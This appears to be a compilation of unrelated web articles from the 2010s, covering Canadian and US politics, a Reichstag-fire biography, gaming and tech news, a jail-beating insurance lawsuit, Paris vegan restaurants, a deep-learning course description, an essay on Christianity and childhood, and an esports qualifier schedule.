-The election campaign is heating up, so much so that even your pyjama-wearing, junk-food-eating Netflix binges are the subject of an official Conservative Party announcement.  Conservative Leader Stephen Harper has just released a new party video, explaining that, just like everybody else, he loves movies and TV. In fact, he loves them so much that he’s 100 per cent against a Netflix tax.  I love movies and TV shows. I'm 100% against a #Netflix tax. Always have been, always will be #NoNetflixTax #elxn42 https://t.co/oUYgTkXH3q — Stephen Harper (@pmharper) August 5, 2015  “Some politicians want to tax digital streaming services, like Netflix and YouTube. Some have even called on us to introduce a Netflix tax. Now, Justin Trudeau and Thomas Mulcair have left the door wide open to doing just that. I’m 100 per cent against a Netflix tax. Always have been, always will be.”  He goes on to say that voters can trust the Conservative Party since they’re the only ones to “focus on the needs of Canadian consumers”.  The hashtag #NoNetflixTax is now trending on Twitter in Canada, but perhaps not for the reason Harper would want. Instead, many are ridiculing the party and sarcastically thanking Harper for addressing the important issues.  #nonetflixtax Thanks focusing on the big issues Canadians care about! Who cares about PR, minimum wage, healthcare, or climate change! — Andrew (@xaxxryx) August 5, 2015  Fun fact: the world just learned that Breaking Bad is one of Harper’s all-time favourites.  #NoNetflixTax Cons are now making up imaginary taxes and then opposing them. We are through the looking glass, people. #elxn42 — Jeff Mackey (@Jeffrey_Mackey) August 5, 2015  I love how @pmharper's #NoNetflixTax pledge is driving the Left bonkers. — Blaise Boehmer (@boehmerB) August 5, 2015  Harper must think we are cats. We're occupied by real issues and he's franticly dangling Netflix tax at us. #NoNetflixTax #elxn42 #cdnpoli — Mary Linville (@mrsdrjim) August 5, 2015
-Marinus (Rinus) van der Lubbe (13 January 1909 – 10 January 1934) was a Dutch council communist tried, convicted and executed for setting fire to the German Reichstag building on 27 February 1933, an event known as the Reichstag fire.  Biography [ edit ]  Marinus van der Lubbe was born in Leiden in the province of South Holland. His parents were divorced and, after his mother died when he was twelve years old, he went to live with his half-sister's family. In his youth, Van der Lubbe worked as a bricklayer. He was nicknamed Dempsey after boxer Jack Dempsey, because of his great strength. While working, Van der Lubbe came in contact with the labour movement; in 1925, he joined the Dutch Communist Party (CPN), and its youth wing; the Communist Youth Bund (CJB).  In 1926, he was injured at work, getting lime in his eyes, which left him in the hospital for a few months and almost left him blind. The injury forced him to quit his job, so he was unemployed with a pension of only 7.44 guilders a week. After a few conflicts with his sister, Van der Lubbe moved to Leiden in 1927. There he learned to speak some German and founded the Lenin House, where he organised political meetings. While working for the Tielmann factory a strike broke out. Van der Lubbe claimed to the management to be one of the ringleaders and offered to accept any punishment as long as no one else was victimised, even though he was clearly too inexperienced to have been seriously involved. During the trial, he tried to claim sole responsibility and was purportedly hostile to the idea of getting off free.  Afterwards, Van der Lubbe planned to emigrate to the Soviet Union, but he lacked the funds to do so. He was politically active among the unemployed workers' movement until 1931, when he fell into disagreement with the CPN and instead approached the Group of International Communists.[citation needed] In 1933, Van der Lubbe fled to Germany to take action in the local communist underground. He had a criminal record for arson.  Reichstag Fire (1933) [ edit ]  Van der Lubbe said that he set the Reichstag building on fire as a cry to rally the German workers against the fascist rule. He was brought to trial along with the head of the German Communist Party and three Bulgarian members of the Comintern. At his trial, Van der Lubbe was convicted and sentenced to death for the Reichstag fire. The other four defendants (Ernst Torgler, Georgi Dimitrov, Blagoi Popov, and Vasil Tanev) at the trial were acquitted. He was guillotined in a Leipzig prison yard on 10 January 1934, three days before his 25th birthday. He was buried in an unmarked grave on the Südfriedhof (South Cemetery) in Leipzig.  After World War II, moves were made by Marinus van der Lubbe's brother, Jan van der Lubbe, in an attempt to overturn the verdict against his brother. In 1967, his sentence was changed by a judge from death to eight years in prison. In 1980, after more lengthy complaints, a West German court overturned the verdict entirely but this was protested by the state prosecutor. The case was re-examined by the Federal Court of Justice of Germany for three years until, in 1983, the court made a final decision on the matter, overturning the result of the earlier 1980 trial on grounds that there was no basis for it, making it therefore illegal. However, on December 6, 2007, the Attorney General of Germany Monika Harms nullified the entire verdict and posthumously pardoned Van der Lubbe based on a 1998 German law that makes it possible to overturn certain cases of Nazi injustice. The determination of the court was based on the premise that the National Socialist regime was by definition unjust; and, since the death sentence in this case was politically motivated, it was likely to have contained an extension of that injustice. The finding was independent of the factual question of whether or not it was Van der Lubbe who actually set the fire.[1][2][3]  Claimed responsibility for the Reichstag Fire [ edit ]  The window through which Van der Lubbe allegedly entered the building.  Memorial at the Südfriedhof in Leipzig.  Historians disagree as to whether Van der Lubbe acted alone, as he said, to protest the condition of the German working class. The Nazis blamed a communist conspiracy. The responsibility for the Reichstag fire remains an ongoing topic of debate and research.[4][5] According to Ian Kershaw, writing in 1998, the consensus of nearly all historians is that Van der Lubbe did, in fact, set the Reichstag fire.[6] William Shirer writing in "The Rise and Fall of the Third Reich" surmises that Van der Lubbe was goaded into setting a fire at the Reichstag, but the Nazis set their own, more elaborate fire at the same time. The case is still actively discussed.  In July 1933, Marinus van der Lubbe, Ernst Torgler, Georgi Dimitrov, Blagoi Popov, and Vasil Tanev were indicted on charges of setting the Reichstag on fire. From September 21 to December 23, 1933, the Leipzig Trial took place and was presided over by judges from the old German Imperial High Court, the Reichsgericht, Germany's highest court. The presiding judge was Judge Dr. Wilhelm Bürger of the Fourth Criminal Court of the Fourth Penal Chamber of the Supreme Court.[7] The accused were charged with arson and with attempting to overthrow the government. At the end of the trial, however, only Van der Lubbe was convicted, while his fellow defendants were found not guilty.  In popular culture [ edit ]  Notes [ edit ]  References [ edit ]
-2Awesome Studio, the team behind a Kickstarter campaign for the shooter Dimension Drive, just had their hearts put through the ringer.  With their time almost up, and with thousands remaining to hit their goal, a single backer appeared out of nowhere and pledged €7000.  The devs were, unsurprisingly, thrilled.  Advertisement  But then, heartbreak.  Advertisement  The clock has since run out, and the game was just under €7000 short of hitting its goal.  “We honestly do not know what to say”, 2Awesome’s Alejandro Santiago tells Kotaku. “We are quite devastated in the team right now. It has been a roller-coaster night for us to be honest.”  Advertisement  2Awesome say the pledge, which was made a few hours before the campaign’s closure, was withdrawn by Kickstarter for being “fraudulent” with only 31 minutes remaining.  “Honestly speaking it has been a exhausting month for us. We have been working really hard to make our campaign a success, and right now we are speechless, demoralized, you name it”.  A Kickstarter rep tells Kotaku that the user behind the fraudulent bid has been suspended.  Advertisement  It’s one thing to have a game come up short on Kickstarter. Shit happens, the market pays for what the market wants, etc. But nobody should have to go through this.
-It's been a rough day for Microsoft. Several NeoGAF users discovered a lot of information, including videos and images, about what will be included in Microsoft's E3 2016 press conference tomorrow. These users have been slowly posting screenshots from the trailers over the course of the day. Microsoft has been largely silent, but it finally has released a statement on all of the leaks: ¯\_(ツ)_/¯.  That's it. Seriously. Microsoft provided GameSpot with its official response to the leaks, and it's an ASCII emoji followed by a link to Microsoft's E3 page. Although, you can't really blame the feeling--it's probably not fun to see all the reveals get ruined early.  However, although much of the information has been leaked already, the users with the information have yet to share full videos. This means that whatever gameplay Microsoft will show off tomorrow is still under wraps.  To recap, we've found out today that Dead Rising 4 is real and got some GIFs of gameplay, Recore's release date and a few screenshots were posted, and the Xbox One S was leaked. You can read about all of them here. Keep an eye on GameSpot for more news from these leaks as well as from the Microsoft press conference tomorrow!
-White House special counselor Ivanka Trump pushed back Tuesday on a German newspaper that called her a “loyal accomplice” to her father, President Trump.  “I don't like the word ‘accomplice’ because in this context, I don’t know that that’s productive,” Trump told NBC News’ Hallie Jackson.  Trump traveled to Berlin, Germany to participate in a women's panel at the invitation of German Chancellor Angela Merkel. This is her first trip abroad in an official capacity as a White House employee.  ADVERTISEMENT  Berliner Zeitung, a daily Berlin-based newspaper, called Ivanka Trump a loyal accomplice according to a CNN translation.  The first daughter also addressed whether she pushes President Trump in a more moderate direction, saying he is open to “divergent viewpoints.”  “One of the things that I value about my father, as first a businessman and now as the leader of our country, is that he curates ideas and he likes to hear from people with divergent viewpoints. And that’s not always true in politics. It’s actually seldom true,” she said.  More of the interview will air Tuesday night on NBC’s “Nightly News with Lester Holt” and Wednesday morning on NBC’s “Today.”
-RIM seems to be learning very quickly that when it rains, it pours. Word of a BIS (BlackBerry Internet Service) outage quickly began making the rounds this morning, leaving (once) loyal customers in Europe, Africa, and the Middle East without email and web access.  This is the second outage RIM has dealt with in as many months: their popular BBM service went down this past September, shortly after the company released their disappointing quarterly financials.  For what it’s worth, it’s business as usual for corporate users as BlackBerry Enterprise services don’t seem to have suffered the same fate.  In usual RIM fashion, they’ve acknowledged the issue through their official Twitter account, but they’re keeping quiet when it comes to what caused the outage or how people are currently being affected. A little legwork by The Telegraph points to a server at Slough as being the likely culprit as all three regions affected by the outage are all served by the Slough data center. There’s still no ETA for a fix, but some users are reporting that service is slowly being restored so the wait may soon be over.  https://twitter.com/#!/BlackBerryHelp/status/123437227324870658  BlackBerry users the world over are understandably miffed at RIM, and who knows how events like this will shape the Canadian company’s future. Their stock price recently hit a new five year low, and these outages aren’t likely to instill customers with much confidence. It’s up to RIM to fix things, dust themselves off, and keeping working, but company morale has to be taking a beating right now.
-TOPEKA - When former State Sen. Ruth Teichman, Stafford, was asked to join fellow Republican leaders in an endorsement of Democratic House Minority Leader Paul Davis for governor, she said yes - "right away," she added.  "I am concerned with the direction this state is going," said Teichman Tuesday. She and 103 current and former Republican officeholders from across Kansas are throwing their support to Davis in his coming race against Republican Gov. Sam Brownback.  "Historic" and "unprecedented" were adjectives the Paul Davis-Jill Docking campaign ticket used in the press release Monday to tout the announcement to occur Tuesday morning in Topeka. The campaign said multiple endorsements would be made, but kept a tight lid on the names.  At 11 a.m. Tuesday, about 40 people entered the ballroom in the Ramada Hotel and Convention Center in downtown Topeka, filling a riser that included Davis and Docking. Former State Senate President Steve Morris, Hugoton, and former State Sen. Fred Kerr, Pratt, were there, along with State Insurance Commissioner Sandy Praeger.  Speakers roasted Brownback's tax code changes and handling of the state budget. They repeatedly chastised Brownback over school funding.  Brownback has exhibited a "divisive" and "hyper-partisan brand of leadership," said former State Sen. Wint Winter Jr., Lawrence.  Supporting a Democrat for governor "is a big step for every one of us," said former State Senate President Dick Bond, Overland Park, a life-long Republican.  The Republicans indicated they won't change parties - they'll just work for the victory of Davis-Docking in the November general election.  Docking said she was conducting door-to-door campaigning Monday, and that's something "all these folks know how to do."  "They're all willing to help us," Docking said.  Among the 104 names on the list of Republicans for Kansas Values were, from this region: Reno County Commissioner Brad Dillon and former Newton Mayor Marge Roberson, and former state legislators Bob Frey, Liberal, and Fred Gatlin, Atwood. Ted and Sue Ice, Newton, former delegates to Republican National Conventions, were on the list, as well as former State Rep. Ellen Samuelson, Hesston, and former State Board of Education member Sonny Rundell, Syracuse.  "Absolutely," Morris said, when asked later if he will remain a Republican. "We're also loyal Kansans. To us the future of this state comes first," he said.  "This is all about policy," said Kerr, criticizing the Brownback income tax cuts as "distorted" in favor of the wealthy.  As for the potential impact on the Kansas Republican Party, Kerr said, "Ultimately I hope the Kansas Republican Party comes back to the mainstream."  Read more in the Wednesday edition of The News.
-Published  Associate Professor Jacqui Ewart and Professor Mark Pearson from the School of Humanities, Languages and Social Science answer key questions about their flagship Reporting Islam Project.  What is this project about?  The Reporting Islam Project is developing user-friendly and readily accessible resources underpinned by research-based evidence to help journalists adopt more mindful practices in stories about Islam and Muslims. It is believed that fair, ethical and accurate reporting on matters involving Islam and Muslim communities will help promote social cohesion and may assist in the reduction of community tensions.  While it is a highly nuanced body of scholarship, the research overwhelmingly highlights the problematic nature of the framing of Islam and Muslims by Western news media. This includes routine negative stereotyping of Islam and its adherents, the incorrect use of key terms in news stories, a lack of Muslim sources or voices in news stories, the portrayal of Muslims as religious or cultural “others” at odds with democracy and Western values, the conflation of Islam with violence and terrorism, and the portrayal of Islam as a religion that condones both.  The independent research project is national in its ambit and has been funded under a competitive grants scheme facilitated by the Commonwealth’s Attorney-General’s Department (about $480,000 has been allocated over the 2014-2015 and 2015-2016 financial years).  We completed stage 1 of the project in June 2015. This involved an extensive review of the literature about news media coverage of Islam and Muslim people, an assessment of case studies of news media reportage across media types at national and community levels, interviews with experts in the field, and the distillation of international studies to develop a schema for assessing reportage against world best practice in the area. We recommended the development of a suite of research-driven curricula, training and resources to better equip the news media report more mindfully in this space.  Stage 2 of the project started in mid-2015 and we are due to complete it in mid-2016. Funding for a third stage in 2016-2017 will be subject to a new application process under the Commonwealth competitive grant scheme.  In the current stage of our project we are being supported by a full-time Project Manager (Mr Abdi Hersi), a full-time Principal Research Fellow (Dr Kate O’Donnell) and part-time Muslim researchers and/or trainers.  What resources are being developed?  Our focus is on developing key training and education resources for journalists, journalism educators and journalism students. These are:  A database-supported app for Mac and Android as an easy access tool for information, reporting tips and suggestions for journalists and journalism students; A website to host electronic copies of training and education materials and to provide an interface with identified stakeholders and collaborators via comment streams and social media engagement; Case studies and a range of print materials; Audio-visual material focusing on scenarios/role playing in relation to possible issues that might arise in the research and reporting of stories about Islam and Muslims; A Handbook of Reportage for journalism, focusing on tips and suggestions for covering stories involving Islam and Muslims, as well as suggestions for considering legal issues that might arise in the course of covering such stories.  Who are you consulting with during the project?  Open communications, consultations and meaningful collaborative relationships with a broad range of key stakeholders underpin this project. In 2015 an Expert Advisory Panel was formed to provide input into the Project, shape its direction and influence its outcomes. Members of this panel include key Muslim community members, international academic experts, educators and leading media industry personnel. This panel has been and will continue to be consulted throughout the Project.  Every effort has been made to include Muslims and journalists in the project to ensure that their voices resonate throughout the training and education resources being developed. For example, we recorded an interview with leading foreign correspondent Peter Greste on the need for more mindful coverage of Islam, while Muslim academic and community leader Professor Mohamad Abdalla explains the potential impact of adverse media coverage on Muslim people.  Having successfully trialled the resources, we are now rolling out training for a broad range of media practitioners including editors and news directors, sub-editors and producers, social media editors, digital media professionals, journalists, journalism educators and journalism students at selected locations across Australia.  What are the key research outputs?  There is a strong research dimension to this project, with several conference presentations already presented and planned, a journal article under review and several in progress, and a book proposal drafted. We are running a training session at the International Communication Association Conference in Japan in June 2016 and presenting a paper at the World Journalism Education Conference in Auckland in July 2016.  Where can I get more information?  More information is progressively being made available on the Project’s website. See www.reportingislam.org.
-FLINT, MI -- An insurance company representing Genesee County said in a federal lawsuit that it should not have to help the county pay a $36.6 million trial verdict from a jail beating lawsuit.  Ironshore Specialty Insurance Company filed the lawsuit last month in Detroit U.S. District Court alleging it's not responsible for covering damages against Genesee County after jurors found five jail deputies used excessive force against inmate William Jennings.  The company was the excessive liability insurer for Genesee County at the time Jennings was beaten inside the Genesee County Jail following an arrest for suspected drunken driving on Sept. 18, 2010.  It's asking a federal judge to rule that it has no duty to cover the damages or defend the county in the Jennings case, which was filed in August 2013.  Jennings suffered a trauma-induced cataract in one eye, a torn rotator cuff, broken facial bones, nerve damage in one of his hands and a chipped tooth as a result of the beating.  Genesee County Board of Commissioners went into executive session on Monday, April 3, to discuss the lawsuit brought by Ironshore, according to Commissioner Bryant Nolden.  "We're just now getting the information," Nolden said. "That's what we were in closed session for, so I really can't discuss that."  Nolden forwarded further questions to the county's corporation counsel. Genesee County Prosecutor David Leyton, who serves as corporation counsel, directed questions to attorney Edward Davison, who was hired to represent the county in the case.  Davison said his response to the lawsuit should be filed by the end of the week.  "They don't feel like they should pay," Davison said of Ironshore. "The county, the deputies and I think they should. It's a relative fairly common way of dealing with things with insurance companies."  The lawsuit filed by Ironshore claims the company carried a liability insurance policy for the county that was to cover claims in excess of the county's underlying liability insurance with another company, Everest National Insurance Company.  Genesee County is self-insured to an extent, according to attorney Edward Davison, adding that it was basically like a deductible one would pay on homeowners or auto insurance.  The next layer is the primary liability insurance policy Genesee County has through Everest National Insurance Company, Davison said.  If that policy is extinguished, Davison said, Genesee County is covered by the Ironshore Specialty Insurance policy.  Davison refused to say how much coverage is included at each level.  "I prefer not to divulge that," he said. "That's something that my client likes to keep close to the vest."  County officials refused to release the specific figures and told MLive-The Flint Journal to file a Freedom of Information Act request to get the information. A FOIA request was submitted to the county Tuesday, April 4.  A term of Ironshore's policy required the company be notified in writing "as soon as practical" of a lawsuit that would be likely to involve its policy, according to its lawsuit.  However, Ironshore contends county officials failed to satisfy this condition by waiting to notify it of the case until after jurors reached their verdict on Nov. 3, 2016 -- more than three years after Jennings' lawsuit was initially filed.  Ironshore's lawsuit claims the county and its attorneys should have known the case was likely to involve the excess coverage policy when Jennings' case was filed in 2013 and it alleged nerve injuries, serious burns and severe damage.  Any doubt that the Ironshore policy would be involved should have been removed in July 2015, Ironshore claims, when the trial judge in the Jennings case denied the county's argument it was immune from the lawsuit.  Since notifying Ironshore of the verdict, the lawsuit claims the county and its lawyers have failed to turn over records Ironshore has sought in relation to the Jennings case.  Ironshore also argues it is not responsible for covering the claim because jurors found the jail deputies' actions were "willful, wanton or oppressive" and the county had punitive damages awarded against it.  There were multiple instances of intentional wrongdoing by the deputies, which also excludes Genesee County from coverage, Ironshore argues.  Jennings' lawsuit alleged the jail deputies threw Jennings to the floor, slammed his head against a metal bench, kicked and punched him while he was on the ground, sprayed pepper spray into his mouth and face at close range and placed him in a restraint chair with a hood over his face for several minutes.  Jennings was also strapped down to a restraint bed face down in a cell for more than two hours. The lawsuit claimed the alleged attack was unprovoked and began as Jennings was being searched.  After more than a two-week trial and nearly two days of deliberations, an eight-member jury concluded the deputies used excessive force against Jennings and awarded him past damages of $10.42 million and future damages of $7.21 million, according to a news release from the court.  Jurors reached the verdict against deputies Patrick Fuller, David Kenamer, Mark Wing, Jason White and Lt. Robert Nuckolls.  The jury also awarded punitive damages to Jennings from each defendant as follows:  Fuller -- $5 million.  Kenamer -- $4 million.  Wing -- $3 million.  White -- $2 million.  Nuckolls -- $5 million.  Attorneys representing the five guards have appealed the decision and in multiple motions filed in December with the Detroit U.S. District Court say the two-week jury trial was conducted improperly and that the $36.6 million decision was improper.  The motions are still pending.  Davison said the lawsuit from Ironshore isn't unexpected.  "It is a common way for insurance companies and their insured to resolve their differences," he said. "I prefer to try my cases in the court, not in the press."  New trial requested in $36.6M excessive force case against jail deputies The Genesee County jail guards charged with $36.6 million for using excessive force against a prisoner have motioned to appeal the United States District Court's jury decision.  An insurance policy is a contract between the insurance company and its policyholder, according to Pet Kuhnmuench, executive director of Insurance Institute of Michigan.  "In exchange for coverage, the insurance company requires the policyholder to adhere to provisions in the policy," he said. "If those provisions are not met, there may not be coverage.  "An insurance policy is a not a blanket of coverage because the cost of such a product would be out of reach. An insurance policy insures specific risks that are detailed in the policy language and also the responsibilities of the policyholder for obtaining that coverage."
-Only a few years ago, navigating Paris with a vegan appetite would have been close to impossible. Traditional French fare favors hearty cuts of meat, cheese plates after dinner and food that has been cooked in butter or duck fat, making even the most unsuspecting dishes off-limits for vegans. Only serving to make it worse, there was a lack of understanding as to what falls within a vegan diet—were eggs ok? What about honey?  But recent years in the capital have witnessed an abundance of vegan- and vegetarian-friendly restaurants like those you would stumble upon in many Anglophone cities, favoring the seasonal produce that grows so abundantly and crowds the city’s greenmarkets on a daily basis. These restaurants have innovated French techniques and borrowed from other cultures to make vegetables and fruits the highlight of the dish rather than an afterthought, and like many of Paris’ more gastronomic spots, often feature menus that rotate with the season, ensuring fresh, local dishes year round.  Though I’m not a vegan myself, I do very much appreciate the vegetable-laden culinary innovation in Paris—it’s a nice reprise from standard café food, and one that ensures more thought has been given to each dish to take it beyond the status quo. I’ve guided several vegan friends through Paris, and these were the spots that made their visit a trip to remember, and finally allowed them to gush about the delicious food in Paris.  1. Wild & the Moon  I’m convinced that Wild & the Moon (pictured above) was designed to be an Instagram paradise. The bright, natural lighting paired with an abundance of greenery makes the café the perfect spot to Instagram their signature smoothie bowls, golden lattes and wide selection of vegan lunch bowls, like cauliflower “couscous” with nut cheese, cucumber, parsley, mint, pomegranate and chick peas. They specialize in raw, cold-pressed juices, but sell plenty of tiny treats as well, like homemade energy bars, granola and kale chips.  2. Le Potager de Charlotte  Photo by Anne Elder  Nearly hidden on a side street in the 9th arrondissement, Le Potager de Charlotte is a cozy restaurant boasting a local selection of natural wines and homemade juices, in addition to their constantly-changing menu of plant-based cuisine.  They offer vegan “formules,” allowing diners to try their appetizers, entrées, and desserts at a reasonable price. The must-try dishes here are the “avocat style œuf dur” (a hard-boiled egg style avocado), where an avocado is served filled with a chick pea and turmeric spread, and the chick pea pancakes smothered with cashew cheese. The main dishes rotate with the seasons, and feature flavorful roasted vegetables and vegan gnocchi, which surely must be the holy grail of vegan fare.  3. Miznon  Photo by Anne Elder  Just off the cobblestone rue des Rosiers in the Marais, Miznon is only steps away from some of the hottest falafel competition in Paris. But this Israeli-run restaurant specializes in homemade pita sandwiches that nearly melt in your mouth, filled with roasted vegetables and a healthy smattering of tahini. Their whole-roasted cauliflower and broccoli heads are both to die for, and the pitas are perfect when to appease both omnivore and vegetarian and vegan eaters.  For vegan fare, remember to ask for their popular ratatouille pita sans œuf (without egg). Miznon is closed for all Jewish holidays, so make sure to check your calendar before you head over, and get there early—they get busy fast.  4. Le Tricycle  This entryway to this tiny Rastafari restaurant in the heart of the 10th arrondissement is filled with crates of produce, as a team of chefs prepares their signature variety of vegan hot dogs and vegetable grain bowls. They use organic produce, and the bowls are always changing, from vegan “chili” to eggplant marinated in soy over a bed of rice and beets. It is a perfect inexpensive lunch option that will keep you full for hours, where adding avocado is always a good idea.  5. Café Pinson  Café Pinson is the go-to spot for when you have a craving for vegetarian comfort food. The ambiance is perfect for dining with close friends, and they serve up a wide variety of vegan appetizers and entrées, from soups and salads to hearty vegetable bowls. A true sign of their innovative nature, though, was a recently spotted ceviche made with mushrooms rather than seafood. Better yet? There are two locations in Paris if you’re tight on time.  6. Le Bichat  If you’re hoping to appease omnivore friends, head to Le Bichat near the Canal St. Martin. Here, you make your own bowl, choosing between vegetarian and omnivore-friendly options. As an added bonus, they always keep a vegan dessert on hand, which surely can be justified by a long stroll around the Canal.  7. Bob’s/Shakespeare and Co.  2px); width:calc(100% 2px);"> A post shared by Paris Perfect (@parisperfectrentals) on Feb 6, 2017 at 11:31am PST  The Left Bank cheered in 2015 when Bob (of Bob’s Kitchen, Bob’s Juice Bar, and Bob’s Bakeshop) became available on the other side of the Seine at the Shakespeare & Co. Café. Next to the historic bookstore of the same name, they serve up Bob’s famous baked goods, as well as some phenomenal veggie stew that is particularly welcome on Paris’ cold, misty days. While you’re there, it would be a shame to leave without trying the coffee, which is locally roasted by Café Lomi.  Anne Elder spends more time talking about food than eating and is currently researching cuisine as a means of integration among refugee chefs in Paris. She can be found via her blog (www.hardlysnarky.com) or on Instagram or Twitter.
-Computer Vision has become ubiquitous in our society, with applications in search, image understanding, apps, mapping, medicine, drones, and self-driving cars. Core to many of these applications are visual recognition tasks such as image classification, localization and detection. Recent developments in neural network (aka “deep learning”) approaches have greatly advanced the performance of these state-of-the-art visual recognition systems. This course is a deep dive into details of the deep learning architectures with a focus on learning end-to-end models for these tasks, particularly image classification. During the 10-week course, students will learn to implement, train and debug their own neural networks and gain a detailed understanding of cutting-edge research in computer vision. The final assignment will involve training a multi-million parameter convolutional neural network and applying it on the largest image classification dataset (ImageNet). We will focus on teaching how to set up the problem of image recognition, the learning algorithms (e.g. backpropagation), practical engineering tricks for training and fine-tuning the networks and guide the students through hands-on assignments and a final course project. Much of the background and materials of this course will be drawn from the ImageNet Challenge
-ADVERTISEMENT  We have forgotten just how deep a cultural revolution Christianity wrought. In fact, we forget about it precisely because of how deep it was: There are many ideas that we simply take for granted as natural and obvious, when in fact they didn't exist until the arrival of Christianity changed things completely. Take, for instance, the idea of children.  Today, it is simply taken for granted that the innocence and vulnerability of children makes them beings of particular value, and entitled to particular care. We also romanticize children — their beauty, their joy, their liveliness. Our culture encourages us to let ourselves fall prey to our gooey feelings whenever we look at baby pictures. What could be more natural?  In fact, this view of children is a historical oddity. If you disagree, just go back to the view of children that prevailed in Europe's ancient pagan world.  As the historian O.M. Bakke points out in his invaluable book When Children Became People, in ancient Greece and Rome, children were considered nonpersons.  Back then, the entire social worldview was undergirded by a universally-held, if implicit, view: Society was organized in concentric circles, with the circle at the center containing the highest value people, and the people in the outside circles having little-to-no value. At the center was the freeborn, adult male, and other persons were valued depending on how similar they were to the freeborn, adult male. Such was the lot of foreigners, slaves, women...and children.  High infant mortality rates created a cultural pressure to not develop emotional attachments to children. This cultural pressure was exacerbated by the fact that women were more likely to develop emotional attachments to children — which, according to the worldview of the day, meant it had to be a sign of weakness and vulgarity.  Various pagan authors describe children as being more like plants than human beings. And this had concrete consequences.  Well-to-do parents typically did not interact with their children, leaving them up to the care of slaves. Children were rudely brought up, and very strong beatings were a normal part of education. In Rome, a child's father had the right to kill him for whatever reason until he came of age.  One of the most notorious ancient practices that Christianity rebelled against was the frequent practice of expositio, basically the abandonment of unwanted infants. (Of course, girls were abandoned much more often than boys, which meant, as the historical sociologist Rodney Stark has pointed out, that Roman society had an extremely lopsided gender ratio, contributing to its violence and permanent tension.)  Another notorious practice in the ancient world was the sexual exploitation of children. It is sometimes pointed to paganism's greater tolerance (though by no means full acceptance) of homosexuality than Christianity as evidence for its higher moral virtue. But this is to look at a very different world through distorting lenses. The key thing to understand about sexuality in the pagan world is the ever-present notion of concentric circles of worth. The ancient world did not have fewer taboos, it had different ones. Namely, most sexual acts were permissible, as long as they involved a person of higher status being active against or dominating a person of lower status. This meant that, according to all the evidence we have, the sexual abuse of children (particularly boys) was rife.  Think back on expositio. According to our sources, most abandoned children died — but some were "rescued," almost inevitably into slavery. And the most profitable way for a small child slave to earn money was as a sex slave. Brothels specializing in child sex slaves, particularly boys, were established, legal, and thriving businesses in ancient Rome. One source reports that sex with castrated boys was regarded as a particular delicacy, and that foundlings were castrated as infants for that purpose.  Of course, the rich didn't have to bother with brothels — they had all the rights to abuse their slaves (and even their children) as they pleased. And, again, this was perfectly licit. When Suetonius condemns Tiberius because he “taught children of the most tender years, whom he called his little fishes, to play between his legs while he was in his bath” and “those who had not yet been weaned, but were strong and hearty, he set at fellatio,” he is not writing with shock and horror; instead, he is essentially mocking the emperor for his lack of self-restraint and enjoying too much of a good thing.  This is the world into which Christianity came, condemning abortion and infanticide as loudly and as early as it could.  This is the world into which Christianity came, calling attention to children and ascribing special worth to them. Church leaders meditated on Jesus' instruction to imitate children and proposed ways that Christians should look up to and become more like them.  Like everything else about Christianity's revolution, it was incomplete. For example, Christians endorsed corporal punishment for far too long. (Though even in the fourth century, the great teacher St John Chrysostom preached against it, on the grounds of the victim's innocence and dignity, using language that would have been incomprehensible to, say, Cicero.)  But really, Christianity's invention of children — that is, its invention of the cultural idea of children as treasured human beings — was really an outgrowth of its most stupendous and revolutionary idea: the radical equality, and the infinite value, of every single human being as a beloved child of God. If the God who made heaven and Earth chose to reveal himself, not as an emperor, but as a slave punished on the cross, then no one could claim higher dignity than anyone else on the basis of earthly status.  That was indeed a revolutionary idea, and it changed our culture so much that we no longer even recognize it.
-WELLESLEY, Mass. — Members of the Wellesley College faculty reacted strongly when word spread that Peking University might fire Prof. Xia Yeliang, a critic of the Chinese government. Professor Xia, an economist, had visited Wellesley over the summer after the college signed a partnership agreement with Peking University.  In September, 130 Wellesley faculty members sent an open letter to Peking University’s president, warning that if Professor Xia was dismissed for his political views, they would seek reconsideration of the partnership. The next month, Professor Xia was fired. Peking University said it was because of his teaching, not his politics, but many at Wellesley doubted that. Still, after much debate, the faculty voted to keep the partnership, as the college president preferred.  Like American corporations, American colleges and universities have been extending their brands overseas, building campuses, study centers and partnerships, often in countries with autocratic governments. Unlike corporations, universities claim to place ideals and principles, especially academic freedom, over income. But as professors abroad face consequences for what they say, most universities are doing little more than wringing their hands. Unlike foreign programs that used to be faculty-driven, most of the newer ones are driven by administrations and money.  “Globalization raises all kinds of issues that didn’t come up when it was just kids spending junior year in France,” said Susan Reverby, one of the Wellesley professors supporting Professor Xia. “What does it mean to let our name be used? Where do we draw a line in the sand? Does a partnership with another university make their faculty our colleagues, obliging us to stand up for them? Do we wait for another Tiananmen Square?”
-News > ESPORTS > DreamHack Winter 2014 Last Call Qualifier – Teams & Schedule  DreamHack Winter 2014 Last Call Qualifier – Teams & Schedule  A special Last Call LAN Qualifier will be organised to determine the last slots in the CS:GO Major Tournament at DreamHack Winter 2014.  The qualifier will be held at Inferno Online in Stockholm, Sweden on Saturday, 22nd of November to replace Titan and Epsilon in the main tournament at DreamHack Winter 2014. A single elimination bracket will be played with 4 invited teams that were willing to accept and come to Stockholm with short notice. The top-2 teams will qualify for DreamHack Winter 2014.  The participating teams in the qualifier:  Copenhagen Wolves  Flipsid3  3DMAX  London Conspiracy  All four teams will be traveling to Stockholm tomorrow to play the qualifier on LAN.  Last Call Qualifier Details:  Location: Inferno Online, Stockholm, Sweden  Day/date: Saturday, 22nd of November 2014  No. of teams: 4  Tournament format: Single elimination Best-of-3  Schedule:  13.00 Semifinal #1 (BO3) Copenhagen Wolves vs. 3DMAX  (16.00)* Semifinal #2 (BO3) Flipsid3 vs. London Conspiracy  (19.00)* Final – only decide seeding into group (BO1)*  *Times are preliminary since we’ll go ahead and play all matches after each other.  Stream: www.twitch.tv/roomonfire feat. Semmler and co-caster.  Important information:  Group B: Team Dignitas will receive the top seed and face Penta eSports in the first game while iBUYPOWER will meet a team from the Qualifier in their opening match.  Group D: Epsilon will be removed from the group and NaVi will meet a team from the Qualifier in their opening match. VP and myXMG stays the same.  Group A & C won’t be affected by this.  More information  Find more information about the tournament  here.
